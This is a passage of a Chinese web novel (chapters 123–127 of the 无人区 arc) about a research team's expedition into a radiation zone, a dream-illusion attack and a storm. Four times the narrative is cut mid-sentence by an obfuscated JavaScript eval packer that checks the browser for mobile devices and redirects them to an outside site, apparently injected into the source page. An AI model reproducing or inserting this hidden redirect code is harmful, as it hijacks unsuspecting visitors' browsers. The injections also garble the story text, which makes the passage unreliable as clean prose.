“因博士，这是我们的交接材料，主要是站点里的一些现有设备的清单，还有各类功能的赋权方法，应该还是比较详尽的，有任何问题可以在中控室联系研究所，那里信号比较稳定。”其中一人递来个看上去很像USB的东西，“另外，站点里防护光栅的能源只剩下两天的量，加上你们这次带来的应该也能维持一段时间，不过还是尽可能合理安排其他方面的资源消耗。” 毕竟受到无人区天气或是异种行动的影响，后方的物资运送有时未必会很及时。 对方看上去有些急切，，简初稍加思索，便明白应该是杨树把启明星和N58的事故都告诉了他们，果不其然，工作人员下一句就说到了重点。 “N58那边的事故需要我们协助，如果这么没什么事，大概半小时之后我们就会撤离了。” 见因思禾没有提出异议，三名工作人员朝她行了个礼，便一起离开了前厅，把空间留给了他们。 “他们应该是军部的人。”林豹双低声说。 简初正若有所思地看着这几人离去的背影，听见这句话时回头看了一眼，这人正双手插兜，没有给她一个眼神，但这附近并没有其他人能听清这句话，所以她这是跟自己说的？ “这个站点还没有建设完毕，研究员们不会过来的。”林豹双突然转过头，露出一个灿烂的笑容，“不过不用担心，我们会保护你的。” 简初：…… 之前怎么没发现这人也有点脱线呢。 “谢谢。”简初干巴巴地应了一声，便迅速跟着刚刚领到房间钥匙的莫景离开了。 …… “为了保证行动便捷，每组的人员不宜太过冗余，目前我把所有人分成四组，其中一组由瑞千负责留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14104567|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站点内做后勤，剩下的都会外出，下一次会议暂定在四天后。”因思禾环顾四周，并没有人对此提出异议。 第一次外出调研时间不宜过长，毕竟初期探索的主要目标是把周边的情况摸清楚，收集一些样本提供给后方做分析，以便制定下一步的计划。 这次的探索期限是一个月，留在启明星的同事们主要负责后勤补给，每五天他们会安排专人运送物资，并将一线的探索样本带到研究所，让那里的研究员使用更精密的设备进行分析实验。 毕竟一线的设备还是很简陋。 这次是“久违”的高层会议，除了米勒尔和程源之外，他们下属的研究组主管人员也在场，不过林颀和胡宣两人的年纪相差颇大，坐在一起……总归有个人会尴尬。 胡博士一直以为自己是个隐形人，没想到还有机会参加这样的会议，一时之间有些紧张。 很多研究员都是这样的性格，因思禾原本是能理解的，但在知道程源手底下的项目有问题之后，再看胡宣的紧张总是带了点探究。 外出调研的小组中，研究员理所当然跟着主管走，但其中的领队却被因思禾完全打乱了。 “我不希望有人带着自己的队伍，借着这次行动的由头，在无人区里偷偷做什么事，当然我自己也一样。”因思禾的理由十分高尚，“也请各位叮嘱自家的研究员，自己手中任何与无人区计划无关的研究内容，请不要随意透露，违者后果自负。” 没有人希望被人借机打听到自家的项目情况，所以一定会回去千叮咛万嘱咐，这就不用因思禾过多强调了。 她精心排出来的班次，就是为了把她自己安插进程源的项目组里，与此同时，因思禾注意到这个方案一拿出来，在场的人员脸色各异，但确实都很有看头。 看来大家都藏着故事呢。 “胡宣你年纪大了，程源特地跟我打过招呼，说不要把你安排在外出小组里。”因思禾虽然是笑着，但说的话却让人颇有压力，听得胡宣下意识擦了擦额头沁出来的汗水。 “麻烦院长和博士为我考虑。”他连连点头，眼神不经意飘向了程源，却没有得到对方的回应。 “能理解，所以N62站点里的研究员就请你来协调了，我们不在后方也不能游手好闲，站点附近的安全范围可以走走看看，研究一下。” “好的好的。”胡宣赶紧收回眼神。 “至于安保人员，我们是整体进行混编，当然崔斯特肯定是要跟着米勒尔先生的，这个不用担心。” 闻言，米勒尔微微颔首以示感谢。 他早就预想到联研所不可能放任他们在无人区自由探索，因此对这样的安排接受良好。 因思禾满意地点点头：“既然大家都同意，那下午就按照这个分组各自开会吧，根据你们的探索范围制定计划，然后交给我确认一下，另外随行资源已经安置到车上了，大家争取在晚上六点前正式动身。” “好——” 稀稀拉拉的回应声，正式拉开了探索计划的序幕。 尽管前奏已然危机重重。 124. 无人区（26） 下午五点。 黎取正在陪同李瑞千做最后的物资清点工作，作为“军师”，他是中庭协会四人中最合适留在站点。 “后方靠你了啊，保持联系。”林豹双拍了拍黎取的肩膀，在对方“反击”之前迅速窜进了车厢。这次每个行动小组都在7到8个成员，除了因思禾的小组，其余都是三个作战人员的配置。在保证安全的同时，也保障了小队的机动性。 为了控制变量，以便观察无人区对精神力带来的影响，莫景这次被留在了站点，因思禾也私下叮嘱过留守的作战人员重点关注她的安全。 整个前厅几乎都是研究员们在相互叮嘱，毕竟大家都是同事，现在在整个团队里也算是共进退，在嘱咐他人的同时，也许也在纾解自己内心的不安。 简初感觉掌心被塞进一把有些扎手的东西，摊开是一堆花花绿绿的酸砂糖。 “这个可以提神醒脑，遇到紧急情况还能补充糖分。”莫景掏掏自己的口袋，发现已经空空如也。 简初失笑：“这么喜欢酸砂糖，怎么全给我了？” 听到这句话，莫景只是微笑着眯眼：“不觉得很有意思吗，酸到无法忍受的时候却尝到甜味，感觉比直接吃糖要更幸福。” 这句话好像只是单纯在形容酸砂糖的味道，但简初莫名从中间读出一点别的意味，她握紧拳头，把糖全都塞进口袋：“是挺有意思的。” “我们该走了。”傅遥靠在车旁，伸手朝简初挥了挥。 “一切小心！”莫景没有追过来，但视线一直锁定在简初身上，直到车尾涌动出滚滚的尘土，飞快驶向了地平线。 李瑞千拍拍莫景的肩膀：“你们感情真好。” “是吗？”莫景有些害羞地抿抿唇，“有什么需要我帮忙的请直接告诉我，一直闲着会感觉时间很难熬……” 另一边。 越野车内部的布局和此前完全不同，驾驶室和车厢之间不再有格挡，坐在车厢内的人可以轻易透过前挡看见外面的情况。物资被规整地放在两边，中间留有一人宽的走道，几人的座位见缝插针地安置在整辆车的前半部分。 开车的研究员简初以前在学校见过，不过并不知道对方的姓名。 “我记得小王你是做样本检验的吧，这两天辛苦你多多注意周围的情况，多采集一些有价值的样本。”因思禾已经迅速和三个研究员打成一片，想让这些平时不太善于交际的人主动、自然地开口聊天，可不是一件简单的事，更何况以因思禾的职位，场面更容易变得尴尬起来。 不过简初倒是觉得这几人的笑容还挺自然的。 他们四人坐在前头聊天，简初自然就和两位大佬坐在了后排，实在是安全感满满。 “待会就要进入无信号区域了，我们得在两个小时内搭建临时驻扎点。”眼看前面的人越聊越嗨，傅遥还是忍不住开口打断了，“注意记录坐标，不要光顾着聊天。” 严肃的语气让几名研究员缩缩脖子，因思禾见状埋怨地看了傅遥一眼，打了圆场便让主副驾驶好好看路了，车厢内重新安静下来，她微微侧过身，给傅遥来了个隐秘的大拇指。 好家伙，这才是真正的演技派。 车载雷达中是不是会出现异种的踪迹，不过那群异种看上去并没有注意到他们。一方面因为车上有特制的屏蔽器，所以如果不是距离过近，异种们很难发现他们，另一方面，则是现在还没到时间。 根据现在的研究结果，无人区的异种会在夜间，也就是辐射强度较高的时候活跃，换言之，白天反而是它们的“休息时间”。 “地形扫描找到了一个还不错的落脚点，我们过去看看。”因思禾将坐标单独拉出来，很快车辆就随之改变了方向。 太阳即将落山，现在的第一要务就是找到驻扎点，一行人走走停停，终于在晚上七点的时候找到了合适的位置，此时他们距离N62也不过才三十公里。 也许是工作性质的缘故，傅遥和因思禾都没有什么架子，动手能力一个比一个强。很快，简易的驻扎点就初具雏形，尽管比起驻扎，这里现在看上去更像一个野营地。 以越野车为基础，旁边搭起了一个巨大的帐篷，车顶部是一个便携式的驱逐声波，可以让附近的异种绕道走，而不影响人类。 虽然它放在那，看上去就像关机了一样安静。 “来吃点东西。” 下方传来声音，简初最后端正了一下驱逐声波的位置，拍拍手就从车厢顶跳了下来，虽然下面的人早有心理准备，还是被吓了一跳。 因思禾拍拍胸口：“小家伙，以后能不能走点寻常路，研究员还是要注意保重身体。” “我尽量。”简初耸耸肩。 “正好我说一下晚上值夜的安排，我们团队里有两位很厉害的作战人员，但如果一直没有得到充分的休息，肯定是会影响战斗力的，所以我们每个人都要承担起值夜的责任。”因思禾吹了吹手里滚烫的小饼干，“以防万一两人一组，也方便大家聊聊天，防止不小心睡着。” “有什么情况反正我们都在，喊一声就能醒。” 辐射影响的时间大概有九个小时，除去搭建驻扎点，以及吃饭和商讨的时间，睡六个小时是肯定没问题的，不过这样的环境中很难毫无负担安心入睡。 饭后所有人迅速收拾好东西，挤进了巨大的帐篷里，每个人都有一个睡袋，以防突发意外，睡袋内部有一个扣子，用力一拉整个睡袋就会直接崩开。 第一班是因思禾和研究员小王一起值夜，简初从帐篷的拉链处探出头，就看见因思禾正一个人坐在那里。 也许是她的视线实在太过灼热，对方竟然若有所感地转过了头。 “怎么了？”因思禾没忍住走过来摸了摸这个毛茸茸的脑袋。 简初眨眨眼：“样本怎么样？” 两人的声音很小，看上去在讨论什么小秘密，这样反而更让其他人好奇，不过也不会有人毫无眼力见地凑过去打听。 因思禾没有出言回答，只是竖了个大拇指。 “好吧，晚安。” 因思禾失笑地看着她合上帐篷的拉链，里面都是黑乎乎的，从外头实在是看不清。 “因博士，喝点热水吧。”小王体贴地奉上一个可以暖手的小茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14115013|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯，因思禾从善如流，和他坐到一边，继续“套话”计划。 帐篷里。 为了避免换班时影响到其他人，所以一起值夜的两个人都是挨在一起睡的，尽管无人区的深夜很寒冷，但睡袋里实在温暖，上面还叠了两层薄薄的绒毯，看上去就很软乎。 “你睡到最边上。”傅燃拍了拍身边的空位，让简初下意识想到以前看过的一张“过来睡觉”的表情包。 “这样他们起来不会吵到你。”傅燃把身上的毯子整理平整，整个人以同样平整的姿势缩进睡袋里，只露出半张脸，“轮到我们的时候我会喊你的。” “谢谢。”简初本以为自己在这样的环境里会难以入眠，但实际上她躺下没有几分钟意识就开始抽离，紧接着沉入了梦乡。 开车、坐车都是很累人的活动，帐篷里很快响起此起彼伏的均匀呼吸声。 无人区内很少会有高大的遮蔽物，更别说几人已经行进到这个位置，临时驻扎点也不过是找了一个稍微背风的斜坡，否则大家伙都要被外面凛冽的风吹得睡不着觉。 可就算如此，也会有小石块被风吹过来，在地上咚咚铛铛滚一圈才能停下，而那些细小的沙砾更不用说，直接拍在厚厚的帐篷布上，发出哗啦啦的声响。 简初就是在这样环境下睁开了眼，她毫无预兆地从黑甜的睡梦中醒来，外头除了环境噪声，听不见其他人说话的声音，不知道值夜的两个热是如何忍受这有些令人心慌的沉默的。 不知为何，她的大脑此刻异常清醒，但透过帐篷的缝隙可以看到外面天色仍然漆黑，此刻至少还在凌晨三点之前。 以防吵醒其他人，简初小心翼翼地翻动身体，但当她完全翻过身时，却发现整个帐篷内已经空无一人。 她刚刚竟然忽视了帐篷内没有呼吸声的问题。 “啧！” 简初烦躁地坐起身，揉揉头发深吸了一口气。 这又是谁在搞事，可别被她逮到！ 怀着深重的起床气，简初披上外套钻出了帐篷。如她所想，外面的越野车还在，但值夜的椅子上空空荡荡，周围也看不见人影。 也不知道是谁折腾出的幻境，连这种明显的地方都不做好——哪怕让她的同伴都昏迷在各自的位置上，可信度也要比现在高得多。 “咯吱！” 隔着帐篷的另一边突然传来沙地被人踩踏的声音，简初猛然望去，却只看到在风中晃悠的缆线，但“咯吱咯吱”的声音却不断从帐篷上发出，好像谁在用指甲划拉厚重的帐篷布。 有人在看着她。 简初缓缓抬起头，对上了夜空中一双嗜血的兽瞳——一只巨大的异种正用它那双鸟雀一样的爪子紧紧抓住帐篷的骨架，它体积很大，却轻巧地落在上面，没有一点压塌帐篷的迹象。 见简初发现了它，异种口中发出一声和它外形相去甚远的清脆鸣啼，“啾啾”声在旷野荡出去，下一秒，第二双、第三双……无数各色的眼睛在黑夜中睁开，密密麻麻层层叠叠，不过几秒就将头顶的天空也几乎遮蔽。 陡然出现的无数视线落在简初身上，让她无从躲避。 125. 无人区（27） 就算是幻境，这样的场面也着实惊人，更棘手的是，简初现在还不确定这里的异种能否对她的本体造成伤害。 异种们看上去有些躁动，它们互相摩挲着往前压了两步，只有帐篷上的那只“鸟”岿然不动，那双橙黄色的眼睛好像在黑暗中发光，本应十分温暖的颜色在此刻却十分瘆人。 “嗤——” 简初突然发出一声嗤笑，下一秒，她侧身扬手，一串巨大的火苗如臂指使，在空中轰然炸开。 白色的引燃物粉末飘在空中尚未落地，火焰却仿佛拥有了生命，如同一条赤色的巨龙沿着粉末的轨迹瞬间拉长，“火龙”在空中盘旋一圈，涨大的“身躯”直接横撞进了蜂拥的异种群中。 伴随着一声声气球瘪掉的轻响，异种群如同水中泡影一般消散，唯独留下那只“鸟”。 它是真实的？还是说幻境在“捏造”它时花费了更多的气力，让它成为并非虚影的怪物？ 天边有层云飘来，周遭的空间以不合常理的速度变得愈加昏暗。多亏五感比过去有了长足的提升，借助稀疏的星光，简初勉强能勾勒出这只异种的轮廓。 “扑棱棱！” 那只异种突然腾空而起，没想到那对称得上瘦弱的翅膀竟然真的能飞，周围的空气流动和翅膀扇动的声音告诉简初，这只蠢鸟此时正在她的头顶上盘旋，寻找最佳的攻击机会。 空中突然炸起响亮的哨音，异种陡然俯冲而下，在快要被那双爪子扣住的瞬间，简初一个闪现离开原地，小触手激射而出，紧紧捆住了蠢鸟的一只脚，异种在空中扑棱起来，掉下一片片腥臭油腻的羽毛。 “咔嚓！” 异种细瘦的脚腕被巨力折断，它哀啼一声，抛下被折断的爪子，重新飞上天空。 作为幻境中的造物，它没有逃离的自我意识，依旧在空中盘旋，寻找下一次攻击的机会。周围变得更加黑暗，几乎已经到了伸手不见五指的程度，再怎么敏锐的视力也很难在这样的条件下观察到什么。 突然，简初听见异种发出一声尖锐响亮的鸣啼，翅膀扇动的风声随之远去，看上去竟然像是打算离开？ 可这种浅薄的招数骗不了简初，她仿佛被钉在地上一样，坚决不挪动一丝，几分钟后，果然又听到扑棱翅膀的声音由远及近。 再耗下去也没有意义了。 简初下定决心，金色的小触手一层层盘绕蓄力，就在那只蠢鸟进入有效攻击范围的瞬间，触手像蛰伏的眼镜蛇般弹射而起，气势汹汹地裂成两半，如同一条金灿灿的巨蛇咬死了空中的鸟雀。 “咔！” 异种骨骼碎裂的声音传来，下一秒，碎裂的躯体突然变成一缕雾气消散在空中。 周围的光线慢慢变得明亮起来，直到恢复成简初刚刚走出帐篷时的模样，地面的沙砾被照得油润发亮，她自然也看到了不远处站立着的黑影。 见那人站在那里并不动作，简初变得警觉起来。 “这个幻境是你做的？” 她的询问并没有得到回答，但几秒后有光从层云的缝隙中洒落，只是一瞬间照亮了他的脸，但已经足够。 这张熟悉的面孔属于入侵启明星的袭击者，他此刻的脸色和尸体一样灰败。他的眼睛黑洞洞的，远远看去没有眼白，脖子上被简初亲手划开的伤口还在汩汩流血，脸上都是红到发黑的血痕，金属护甲也被一层粘稠的血液覆盖，布满凌乱的指印，看上去分外凄惨。 时隔三日，他的伤口怎么可能还没止血。 简初眉头紧锁，看见那个本应死去的人向前迈了一步。 “砰！” 那道身影仅仅迈出一步，就重重砸在了地面上，簌簌的灰尘扬起，加上此时堪称殿堂级打光的月色，居然有一种凄凉的美感。 简初不管什么美感不美感，她向前走了两步站在一个更能看清楚全貌的位置，驱使着小触手上前戳了戳那具已经失去护甲的身体。 那人的肩背耸动了两下，猛然伸出一只手，五指成爪抠在地面上，像是从地里爬出来索命的僵尸。 “……给……我” 粗粝的嗓音吐出支离破碎的声音，只有最后两个字勉强能入耳，那人艰难地昂着头——甚至他的脸都不是朝向简初的。 这个动作好像耗尽了他最后的力气，下一秒他的脑袋就重重磕下，尸体迅速腐败，消失在了沙砾中。 四周的场景迅速消退，在简初还没弄清幕后之人的目的时，她再一次在帐篷里睁开了双眼。 刚刚只是一场梦？ 面前还是那块熟悉的帐篷布，但这次耳边传来的是其他人均匀的呼吸声，她翻过身，却感觉身上有点重，坐起身才发现自己身上盖了四层毯子，而旁边的位置已经空无一人。 她看了眼重新出现在手腕上的终端，现在已经到她值夜的时间了。正在这时，外头传来人的脚步声，紧接着是热水倒进杯子时独有的音调，简初思忖片刻，提着外套钻出了帐篷。 灰烬正一个人坐在车边看着她，似乎知道她会出来，而他面前的两个杯子只有一个在冒着热气。 “醒了？”他很确定不是自己把对方吵醒的。 简初明白现在自己已经离开那个梦境，她随意回了一句“做了个梦”便套上外套昂着头查看周围的情况。 椅子上的年轻人就这么看着，直到她逼近了安全范围的边界才出声提醒：“不要再往远处走了，不安全，回来吧。” “哦。”简初随口应了一句，但实际行动却没有什么变化，她也清楚离开安全范围可能会引来异种，所以只在原地驻足，微微踮着脚打量不远处的小土坡。 梦里的那人差不多就是倒在这个位置的。 她的眼神在四周逡巡，终于，锁定在几步之外的沙地上，微弱的光线照亮了地面的崎岖，地面上并没有尸体，但却有一个不太显眼的印记。 如果是往常，她并不会在意这点细节，在无人区内到处都可能出现异种留下的痕迹，但这个不一样。 远远看去，实在是很像梦中人留下的抓痕。 简初心下不安，原地思考了两秒，转过头问道：“有没有什么便携设备，我想去那里看看，大概十多米的样子。” 傅燃顺着她手指的方向看过去，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14129612|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有发现什么不对，但简初显然也不是什么无的放矢的人。他站起身，从车厢里翻出一个小小的，像老式煤油灯一样的东西，不过里面亮着的不是火苗，而是一团稳定的蓝白色光源，随着开启键按下，在地面投射出一个半径一米的圆环。 “不要越过它的范围。”他把东西塞到简初手里，“我在后面看着，有什么危险就把灯扔到地上，我会过去。” 简初被聚光灯般的白色圆环笼罩，慢慢走到小土坡旁面，到现在她才真正看清了那道抓痕。 梦中的画面不甚清晰，而此时地上的痕迹好像经历过短暂的风沙侵袭，表面已经浮盖了一层沙砾，干枯的杂草倒伏着，上面还沾着黑色的血迹。 顺着抓痕的方向，简初可以想象那人趴在这里的模样，但此时这里并没有尸体，甚至连衣物布料都没有留下一丝。 难道尸体被异种掠走了？ 这已经不能用巧合来解释，那群异种也许只是梦中的幻觉，但此时面前留下的痕迹却不可能是“梦境”的痕迹。 “好了吗？” 身后的喊声拉回了简初的思绪，她这才发现自己为了看清地面的痕迹，把提灯举得很低，几乎要碰到地面，可能向身后的人释放了一些错误的信号。 她连忙将手重新举高：“没事，我拍个照片。” 很快，两人重新回到安全范围，凑在一起端详终端里的照片。 “也许是某只异种留下的痕迹。”不知道始末的傅燃猜测道，“看上去得有三四天了，应该不会再有危险了。” 听到那句“三四天”简初抬头看了他一眼，随后慢吞吞收起终端，缩回到椅子里：“那就好，以防万一回头给因博士再看一眼吧。” 不远处，土坡的沙砾突然被无形的力量抹平，风一吹，变得和周围的沙地毫无区别。 …… “这确定是在这边拍的吗？”因思禾一手叉腰，皱着脸直起身子四处看了看，“是不是天太黑搞错方位了，这里没看见什么痕迹啊！” “我不会认错的。”傅燃的回答让她噎住，但事实上以对方的实力，也不会因为光线不好就把方位判断错误。 其他人也举着终端，对照着里面的照片寻找类似的痕迹，突然，一个女研究员好像发现了什么，兴奋地喊道：“因博士，你看是不是这根草！” “小孙你找到了吗，我来看看！”因思禾又精神抖擞地小跑过去，上下左右仔细端详，就差趴在地上看看杂草的仰视图了。 “没错，照片上就是这根草。”她一锤定音，又转过头来问简初，“你确定昨天没碰到它，可现在一点痕迹都没有了。” 她倒没有怀疑照片的真实性，毕竟虚构出这个事情也并没有什么意义。其实原本她并没有把摘片太当回事，毕竟能留下这种痕迹的异种至少有十来种，更别说这里是无人区的深处，就他们现在抬头往远处看看，都能看见几只慢悠悠晃荡的异种。 但如果这个痕迹在一夜之间消失了，她反而来了点兴趣。 “这边土壤取个样，再拍两张照片，带回去分析。” “是！” 126. 无人区（28） N62站点，所有人各司其职，除了某些游手好闲的人物。 “那货怎么又来了？”黎取没好气地感叹一声，又瞧了眼把那只花蝴蝶当做空气的伊森，敬佩地摇摇头。 如果说昨天他们见到打扮得花枝招展的凯文还会感到震惊，今天的神经末梢就已经被提前打过预防针了，自从米勒尔离开，原本就不算低调的凯文更是套上了从上到下写满了“我很昂贵”的布灵布灵的衣物和饰品。 若是在城市里，也许有人可以与他媲美，但站点里的人们几乎都穿着白大褂，所以显得凯文尤其突出。 在一众小白花中翩跹的蝴蝶飞了过来。 “今天的情况怎么样？”凯文将镶钻的墨镜推上头顶，“伊森，爷爷说过让你有事喊我一起做的，你怎么能瞒着我过来。” 他想了想，露出一个了然的表情：“我知道了，你一定是担心我超过你，放心，我肯定会顾及你的面子的，毕竟你才是兄长，嗯？” 室内所有人的目光都带着怜悯投向伊森，紧接着很快转开。 “他脑子好像不太好。”莫景跟着李瑞千打下手，小声吐槽了一句，听得人忍俊不禁。 “别管他，我们读一下辐射数据。”李瑞千翻了翻眼皮，可惜她并不是很会翻白眼，所以看上去只是莫名其妙向上看了一眼。 昨夜的辐射数据和往日没什么不同，只是比前两日早了不到一分钟，不过还在正常的数据波动范围内，毕竟它本来就不像时钟一样准时。 “指标也正常。”莫景把所有数据仔细转移到测算机中，结果同样显示正常。 这边的日常工作结束，李瑞千立刻离开，她还需要视察实验室那边的情况，并且形成报告，确保因思禾回来之后能够迅速掌握情况。 她目不转睛地走到门边，意有所指：“无关人士请不要在这里影响其他人工作。” 凯文再怎么样也有点自知之明，一眼看去整个中控室除了他，其他人手里都有活干，就连那个看起来像个愣头青的莫景都有工作。 “你！” “抱歉李助理，凯文他只是没什么实践经验，我会约束他的。”令众人意外的是，看上去一直漠不关心的伊森居然在此刻开了口，李瑞千没想到他会横插一脚，不过对于她来说，伊森或是凯文并没有什么区别。 他们又不是米勒尔。 “随你，你最好能管好他。”李瑞千丢下这句话，头也不回地离开了。 “你……你以为你是谁，还来管我？”凯文警惕地看向伊森，对于这个表兄，他总是不吝给予充足的戒备。 对方的能力，不管是精神力还是头脑，甚至连那张脸都要比他更优秀。 他们两人之间永远不可能心平气和地相处，就算祖父亲口跟他说过更喜爱他，凯文也无法完全相信。 倘若如此，祖父为何迟迟不立下真正的继承人呢？ “如果不是祖父交代，你猜我会不会管你。”伊森一个眼神都没有给他，冷漠的表情一如既往，“你最好别给我整出什么事情来，就算祖父吃你那一套，你觉得因博士会管你吗？” “我只是想来帮忙！”凯文明显底气不足，“我只是……不知道该做什么。” “不知道做什么就去问，别告诉我你不知道怎么开口。”伊森放下手里的平板，终于施舍了一个眼神，“多用用你那生锈的脑子，省得回来看见你毫无长进，祖父还要来问我。” “哈，我就知道你没那么好心。”凯文像是抓到了什么把柄，“你只是为了自己不挨骂吧，你等着，我不会让你如愿的。” 在众人目瞪口呆之下，凯文踩着那双硬底小皮靴“噔噔噔”地离开了。 黎取目瞪口呆地看着伊森朝大家露出一个抱歉的微笑。 “弟弟愚钝，给大家添麻烦了。” 回到房间的凯文脱下自己波光粼粼的外套，坐进小沙发，有些嫌弃地“啧”了一声。 “真烦。” 他翘着脚，在自己的终端上戳戳点点，没过多久便将其扔到了床上。 “真期待你到时候会是什么表情，我亲爱的哥哥。” …… 接下来的几天堪称枯燥。 一路上，放眼望去几乎是同样的景色，原本还有点热情的研究员们早已不再多话，开始轮流利用空闲时间补眠。中途时常还会停车杀几只落单的异种，收集一些样本。 莫景给的酸砂糖几乎被大家吃完了，因为糖果表面的酸粉确实是很提神醒脑，每次在不恰当的时候打起瞌睡，众人就会向简初讨要一颗。 现在只剩最后一个了。简初把糖塞进嘴里，酸得眯着眼挠了挠手臂上的绑带。 这东西一直绑在胳膊上有些碍事，行动之间的摩擦已经带来瘙痒，这并不算是严重的伤害，但却十份熬人。 一行人已经来到有史以来的最深处，尽管周围的景色看上去和刚刚离开N62站点时并没有什么区别，但看不见的地方有很多东西正在发生变化。 “这里的辐射值明显比之前要高，我们应该快到腹地边缘了，按照记录的坐标，直接从N62开到这里，没有意外的话大约要十四个小时。” 小孙把手里的数据递给因思禾：“从这个坐标开始，每前进两公里，辐射值就会有一个明显的提高。” 因思禾颔首：“看来每两公里会进入一个新的频段……差不多可以返程了，再深入就得要异能者才能正常行动了，我记得你们好像都不是？” 眼看研究员露出有些愧疚的表情，因思禾笑了笑：“好了，别忘了我们还要按时回N62，不过这次收获倒还不错。” 此处的地面几乎八成都是岩石，同之前的沙石掺半有所区别，越野的车轱辘下面发出一连串岩石被碾碎的声响，让人担心下一秒轮胎会不会被扎破。 好的不灵坏的灵，就在车辆开出十来分钟时，整个车身突然剧烈颠簸了两下，伴随着一声炸响，车厢出现明显的歪斜——武装越野的轮胎很大，漏气之后高度差十分明显。 “轮胎好像炸了……”开车的小王弱弱开口，不过不用他说，整个车厢里回荡着“嘀嘀”的警报已经能说明问题了。 “我看看，是右侧中间的轮胎，看这个数据，应该不能继续开了。” 无奈之下，一行人不得不先处理这个问题，傅燃拎着工具箱跳下了车，巨大的热浪见缝插针，从开启了不过两三秒的门边窜了进来，让车内的温度高了不少。 简初原以为会有什么高科技的机械臂来进行外部维修，没想到还是要靠人力来解决，但转念一想，机械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14143800|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂会带来额外负重，比起这种未必能派上用场的东西，武器和物资才更重要。 “我下去搭把手吧。”傅遥突然开口，“加快一点速度，在原地停留太久不安全。” 众人若有所感地看向雷达，屏幕里有几个红点，它们原来都是往另一个方向去的，但此时不约而同停下来，似乎是感知到了什么。 “把驱逐声波打开。”因思禾没有拒绝她，但同时也做了第二手准备。 尽管白天的异种战斗能力不强，但乱拳打死老师傅，数量一多难免还是会带来麻烦。为了走得更远他们已经尽量压缩了返程的时间，自然不愿意跟异种过多缠斗。 有了傅遥的参与，速度明显快了起来，很快炸裂的轮胎就被拆了下来，但与此此时，雷达地图上出现了一些不妙的东西。 一大块黑色的暗影侵袭了雷达扫描范围的边缘，如同洇开的墨水一样，以极快的速度铺展开来。 那是一团巨大的风暴云。 在广阔无垠的无人区，风暴云的孕育总是很突然，仿佛在它的深处有一个不停制造气旋的机器，日夜不休地勤恳工作。 “风暴云正在迅速逼近，因博士……怎么办？”小王哪里见过这场面，后视镜里大片大片乌黑的影子带着极强的压迫力，云团中不时冒出深紫色的闪电，裹挟着隆隆的雷声呼啸而来。 就算车速开到最快，他们也绝无可能跑过这一大团风暴云，更不用提它在前进的过程中仍然在不断吸纳周围的暗云与气流。 “这规模至少得是大型风暴了。”因思禾眉头紧锁，语气沉重，“来不及了，开启防御模式，傅遥！你们先回来！” 操作台的某个按键被迅速按下，简初感觉车身摇晃两下，“嚓嚓”几声，所有窗户前盖上层层叠叠的金属板，完全看不见外面的情形，只能通过监控屏幕感受逼近的黑影。 “不行！我们……得把轮胎……装上……” 车内的信号频段已经开始受到极端天气的影响，傅遥的声音被狂风吹得断断续续，却十分坚决。 “你……你们加快速度，不要冒险。”出乎意料的是因思禾竟然没有阻止。 小孙紧张地抬高了声音：“因博士！外面太危险了！” “车辆缺失的部件会影响整体的防御效果，如果不想被风暴把车底掀了，他们至少得把轮胎拧上去。” 至于拧得对不对，那就暂时不用考虑了。 几个研究员脸都白了，但又不能说什么，只能紧紧握住双手，不停地念叨着“这可怎么办啊……” 简初看着监控屏幕里越来越近的风暴云面色凝重，外面雷声已经变得很大，每一下都会震得金属板哗哗作响。 真糟糕。 “噔噔噔！” 系统突如其来的音乐声让简初愣了愣，这种场合发布任务，难不成是…… “触发紧急任务：不惜一切代价帮助他们修好车辆，并安全撤离。” 这次的系统播报简短到有些诡异，让简初觉得分外荒谬。 在这样的天气情况下，能够安全行动的只有两种情况，一是防御类异能，尽管会受到极端天气的克制，但短时间内发挥的效果已经足够，第二种就是强悍到非人的身体素质。 刚好，这两个她目前都没有。 127. 无人区（29） 精神力受到的克制比异能严重得多，几乎刚刚挨到风暴圈的边缘就会被撕扯得粉碎。 让她去真的不是在添乱吗？要不要等一等，从监控中两人的进展来看，应该还来得及。 